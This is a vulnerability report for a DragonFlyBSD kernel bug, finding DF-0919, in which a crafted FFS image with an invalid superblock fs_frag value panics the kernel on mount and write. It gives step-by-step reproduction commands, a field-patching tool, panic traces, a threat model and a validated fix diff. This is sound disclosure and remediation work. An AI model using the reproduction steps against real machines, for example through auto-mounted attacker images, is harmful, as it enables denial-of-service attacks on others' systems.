DF-0919 — PoC: Unvalidated fs->fs_frag panic

Goal

Trigger a kernel panic by mounting a crafted FFS image whose superblock fs_frag field is not in {1, 2, 4, 8}. The first block allocation after mount hits default: panic("ffs_isblock"); at sys/vfs/ufs/ffs_subr.c:238.

Files

• patch_frag.c — small tool that mmaps the image and rewrites the fs->fs_frag field at the on-disk superblock offset (SBOFF = 8192 bytes). The exact field offset is computed with offsetof(struct fs, fs_frag) against a one-shot C compile of sys/vfs/ufs/fs.h, so the patcher is robust to future struct layout drift.

Build & run (DragonFlyBSD guest)

# 1. Make a valid FFS image
dd if=/dev/zero of=/tmp/evil.img bs=1m count=64
newfs /tmp/evil.img                      # default fs_bsize=16384, fs_frag=8

# 2. Patch the fs_frag field
cc -I/path/to/sys -o patch_frag patch_frag.c   # build against this tree's fs.h
./patch_frag /tmp/evil.img 3             # fs_frag := 3 -> default: panic

# 3. Mount read-write and trigger a block allocation
vnconfig -c vn0 /tmp/evil.img
mkdir -p /mnt/x
mount -t ufs /dev/vn0 /mnt/x
touch /mnt/x/boom                        # PANIC: ffs_isblock (ffs_subr.c:238)

Expected output

panic: ffs_isblock
cpuid = 0
Trace begins at ...
ffs_isblock(...) at ffs_isblock+0x...  (ffs_subr.c:238)
ffs_alloccgblk(...) at ffs_alloccgblk+0x...
ffs_alloccg(...)    at ffs_alloccg+0x...
ffs_alloc(...)      at ffs_alloc+0x...
...
Uptime: ...
Dumping ...

For fs_frag = 0 or {3,5,6,7} (the NULL entries of fragtbl[]) the same touch may instead produce a NULL-deref page fault in ffs_fragacct (ffs_subr.c:195) on a fragment-free path. Either outcome is a successful DoS reproduction.

Notes

• The certain, claimed impact is a reliable local denial of service (kernel panic). No memory-corruption or privilege-escalation primitive is claimed, because the OOB read on fragtbl[] typically faults before the speculative OOB write on cg_frsum can corrupt subsequent state.
• A read-only mount avoids the bug; the trigger requires a writable mount so that the first ffs_alloccg* block allocation actually runs.

DF-0919 — Verdict

Verdict: REPRODUCED → FIX VALIDATED

status = reproduced, impact = panic (reliable local DoS via a crafted FFS image), confidence = certain. No memory-corruption primitive was reached; the certain impact is a deterministic kernel panic. The authored fix.diff was built into a single-fix kernel and closes the bug: the same PoC that panics the unpatched #0 baseline cleanly rejects the crafted image (EINVAL / "incorrect super block") on the patched #1 kernel, with no panic. Valid fs_frag=8 images still mount and write correctly.

Mechanism (confirmed by trace)

1. Trigger: a 64 MB FFS image is created with newfs (default fs_bsize=16384, fs_frag=8); patch_frag rewrites the on-disk fs->fs_frag field at offset SBOFF + offsetof(struct fs, fs_frag) (SBOFF = BBSIZE = 8192, sys/vfs/ufs/fs.h:60,63,204) to a value outside {1,2,4,8} (e.g. 3). dumpfs confirms the on-disk value: frag 3.
2. Mount succeeds despite the corrupt fs_frag: ffs_mountfs (sys/vfs/ufs/ffs_vfsops.c:642-646) only validates fs_magic, fs_bsize > MAXBSIZE, and fs_bsize < sizeof(struct fs). No fs_frag validation is present anywhere on the mount path.
3. Block allocation panics: writing to a file on the mounted image drives ffs_alloc → ffs_hashalloc → ffs_alloccg → ffs_alloccgblk → ffs_isblock (sys/vfs/ufs/ffs_subr.c:220). The switch ((int)fs->fs_frag) at ffs_subr.c:225 falls through to default: panic("ffs_isblock"); at ffs_subr.c:238. Identical default: panic(...) arms exist in ffs_isfreeblock (:258), ffs_clrblock (:282), and ffs_setblock (:306).

Captured serial-panic signature (findings/poc/DF-0919/panic.txt, boot.log.baseline):

panic: ffs_isblock
cpuid = 5
Trace beginning at frame 0xfffff80117ba4268
ffs_isblock() at ffs_isblock+0x94 0xffffffff80910084
ffs_alloccgblk.isra.1() at ffs_alloccgblk.isra.1+0x1be 0xffffffff809035be
ffs_alloccg() at ffs_alloccg+0x2af 0xffffffff80903f0f
ffs_hashalloc() at ffs_hashalloc+0x3c 0xffffffff8090231c
ffs_alloc() at ffs_alloc+0x6f 0xffffffff8090406f
Debugger("panic")
Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip)
db>

This matches the finding's predicted trace exactly.

Threat model & impact ceiling

• Trigger surface: anyone who can cause a crafted FFS image to be mounted (root via mount(2), or — far more commonly — an auto-mount / removable-media daemon that mounts attacker-supplied images). vfs.usermount=0 on this guest, so the PoC runs as root; the threat is the mount-time parsing of attacker-controlled on-disk fields, not the privileges of the entity issuing mount.
• Certain impact: deterministic kernel panic on the first block allocate/free after mount. Reliable local DoS.
• Speculative OOB: the finding also hypothesizes an OOB write in ffs_fragacct (ffs_subr.c:204 fraglist[siz] += cnt, cg_frsum[MAXFRAG]=cg_frsum[8], sys/vfs/ufs/fs.h:364) when fs_frag > MAXFRAG. We did not demonstrate the OOB write as the certain impact: the realistic alloc path (ffs_isblock panic) faults first, before any fragment-accounting path runs. So the certain impact stays panic. The defense-in-depth bound-check in fix.diff (ffs_subr.c::ffs_fragacct) closes the hypothetical write path anyway, since it is cheap and correct.

No privilege escalation is claimed, demonstrated, or pursued: the primitive is a kernel panic(), not a write.

PoC changes

findings/poc/DF-0919/patch_frag.c needed two compile fixes against the DragonFly 6.5-DEVELOPMENT guest:

1. The include path is <vfs/ufs/fs.h> on DragonFly, not <ufs/fs.h> (FreeBSD). Added a __DragonFly__ switch and included <vfs/ufs/ufs_types.h> to resolve ufs_daddr_t / ufs_time_t typedefs used by struct fs.
2. Added <sys/param.h> and <sys/types.h> includes, and dropped the #define SBOFF in favour of the header's own definition.

The original README.md procedural PoC (newfs / vnconfig / mount / touch) is retained and re-implemented as the self-contained run.sh driver (which dds the image, patches fs_frag, mounts, and triggers a block allocation with echo). build.sh builds patch_frag against the guest's installed kernel headers.

Fix validation (Phase 8)

Authored findings/poc/DF-0919/fix.diff — a standalone, git apply-able diff with three hunks:

1. ffs_vfsops.c::ffs_mountfs (after the magic/bsize check at :642-646): a switch ((int)fs->fs_frag) over {1,2,4,8}, defaulting to error = EINVAL; goto out;.
2. ffs_vfsops.c::ffs_reload (after :484-488): the same switch, returning EIO on failure to match the surrounding style.
3. ffs_subr.c::ffs_fragacct (after :167): a defense-in-depth if (fs->fs_frag <= 0 || fs->fs_frag > MAXFRAG) return; so a future caller / missed path cannot drive the OOB table access.

git apply --check passes. Patch applied cleanly to the in-guest /usr/src (patch -p1 --forward); both ffs_subr.o and ffs_vfsops.o compiled cleanly; full make -j6 nativekernel KERNCONF=X86_64_GENERIC finished rc=0. make installkernel INSTALLSTRIPPED=1 NOFSCHG=1 installed /boot/kernel/kernel, which booted cleanly:

DragonFly 6.5-DEVELOPMENT #1: Sun Jul 12 04:58:49 UTC 2026
    root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC
sha256 /boot/kernel/kernel = 221c5e572e8294229bfca099a15a3b694326141691e394b89d6272f02e753b4f

Before / after on the SAME PoC command (run.sh 3)

Robustness sweep on the patched kernel (all from a fresh image): - fs_frag = 0 → mount rejected, no panic - fs_frag = 3 → mount rejected, no panic - fs_frag = 16 → mount rejected, no panic - fs_frag = 8 (valid default) → mount succeeds, echo writes 12 bytes, file readable, no panic (no false-positive regression)

fix_status = fixed.

Notes / next steps

• The fix matches the finding's ## Recommended fix proposal (mount-time switch + ffs_fragacct bound-check), extended to also cover ffs_reload (the other superblock validator).
• The default: panic(...) arms in ffs_isblock/ffs_isfreeblock/ ffs_clrblock/ffs_setblock (ffs_subr.c:238/258/282/306) are retained — they are the right backstop for an in-kernel caller that bypasses mount. The fix's contract is "the mount path rejects corrupt fs_frag so we never reach the panic".
• Guest reset to with-src (unpatched baseline) at the end of the run.